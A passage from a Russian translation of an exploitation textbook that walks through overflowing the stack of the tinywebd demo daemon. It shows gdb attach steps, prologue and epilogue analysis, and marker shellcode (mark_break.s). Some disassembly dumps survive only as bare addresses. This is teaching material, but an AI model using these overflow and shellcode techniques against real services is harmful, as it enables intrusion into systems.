Хакинг. Хакинг__искусство_эксплоита_2_е_469663841. Книга дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах
Скачать 2.5 Mb.
|
0x08048fb7 End of assembler dump. (gdb) Все эти три адреса ведут в одно и то же место. Выберем из них 0x08048fb7, раз это был первоначальный адрес возврата при вызове handle_connec- tion() . Но сначала нужно поправить другие вещи. Посмотрите на про- лог и эпилог функции handle_connection(). Это команды, которые поме- щают структуры в кадр стека и удаляют их оттуда. (gdb) disass handle_connection Dump of assembler code for function handle_connection: 0x08048fb9 0x08048fba 0x08048fbc 0x08048fbd 0x08048fc3 0x08048fc9 0x08048fcd 0x08048fd0 0x08048fd3 0x08048fd8 0x08048fde 0x08048fe1 0x08048fe5 0x08048fe8 .:[ вывод сокращен]:. 0x08049302 0x08049307 0x08049312 0x08049315 0x0804931a 0x08049320 0x08049321 0x08049322 382 0x600 Противодействие End of assembler dump. (gdb) Пролог, находящийся в начале функции, сохраняет текущие значения регистров EBP и EBX, записывая их в стек, и устанавливает EBP рав- ным текущему значению ESP, чтобы использовать его как базу для до- ступа к помещенным в стек переменным. Для этих переменных отво- дится в стеке 0x644 байта путем вычитания из ESP. Эпилог, находящий- ся в конце функции, восстанавливает ESP путем прибавления к нему 0x644 , а также значения EBX и EBP, считывая их из стека в регистры. Команды переполнения буфера фактически находятся в функции recv_line() , но данные они пишут в кадр стека функции handle_con- nection() , поэтому собственно переполнение происходит в handle_con- nection() . Обратный адрес, который мы заменяем, помещается в стек, когда вызывается handle_connection(), поэтому сохраненные прологом в стеке значения EBP и EBX окажутся между адресом возврата и под- вергаемым разрушению буфером. Это означает, что при выполнении эпилога EBP и EBX будут искажены. Поскольку мы не сможем управ- лять программой, пока не выполнится команда возврата, все коман- ды между переполнением и командой возврата должны быть выполне- ны. Сначала нужно оценить сопутствующий ущерб, нанесенный эти- ми дополнительными командами после переполнения. Команда ассем- блера int3 переводится в байт 0xcc и служит точкой останова отладчи- ка. В представленном ниже шелл-коде вместо выхода стоит команда int3 . Эта точка останова будет перехвачена GDB, что позволит нам точ- но выяснить, в каком состоянии находится программа после выполне- ния шелл-кода. mark_break.s BITS 32 ; Отметить в файловой системе, что этот код выполнялся. jmp short one two: pop ebx ; Имя файла xor ecx, ecx mov BYTE [ebx+7], cl ; Null - конец имени файла push BYTE 0x5 ; Open() pop eax mov WORD cx, 0x441 ; O_WRONLY|O_APPEND|O_CREAT xor edx, edx mov WORD dx, 0x180 ; S_IRUSR|S_IWUSR int 0x80 ; Открыть создаваемый файл. ; eax = - возвращаемый дескриптор файла mov ebx, eax ; Дескриптор файла – во второй аргумент push BYTE 0x6 ; Close() pop eax int 0x80 ; Закрыть файл. 0x650 Пропуск очевидного 383 int 3 ; Прерывание. one: call two db “/HackedX” Чтобы воспользоваться этим шелл-кодом, сначала запустим GDB для отладки демона tinyweb. Ниже показано, что точка останова установлена прямо перед обраще- нием к handle_connection(). Задача заключается в том, чтобы восстано- вить в искаженных регистрах те значения, которые были в них в этой точке останова. reader@hacking:/booksrc $ ./tinywebd Starting tiny web daemon. reader@hacking:/booksrc $ ps aux | grep tinywebd root 23497 0.0 0.0 1636 356 ? Ss 17:08 0:00 ./tinywebd reader 23506 0.0 0.0 2880 748 pts/1 R+ 17:09 0:00 grep tinywebd reader@hacking:/booksrc $ gcc -g tinywebd.c reader@hacking:/booksrc $ sudo gdb -q -pid=23497 --symbols=./a.out warning: not using untrusted file “/home/reader/.gdbinit” Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”. Attaching to process 23497 /cow/home/reader/booksrc/tinywebd: No such file or directory. A program is being debugged already. Kill it? (y or n) n Program not killed. (gdb) set dis intel (gdb) x/5i main+533 0x8048fa8 0x8048fac 0x8048faf 0x8048fb2 |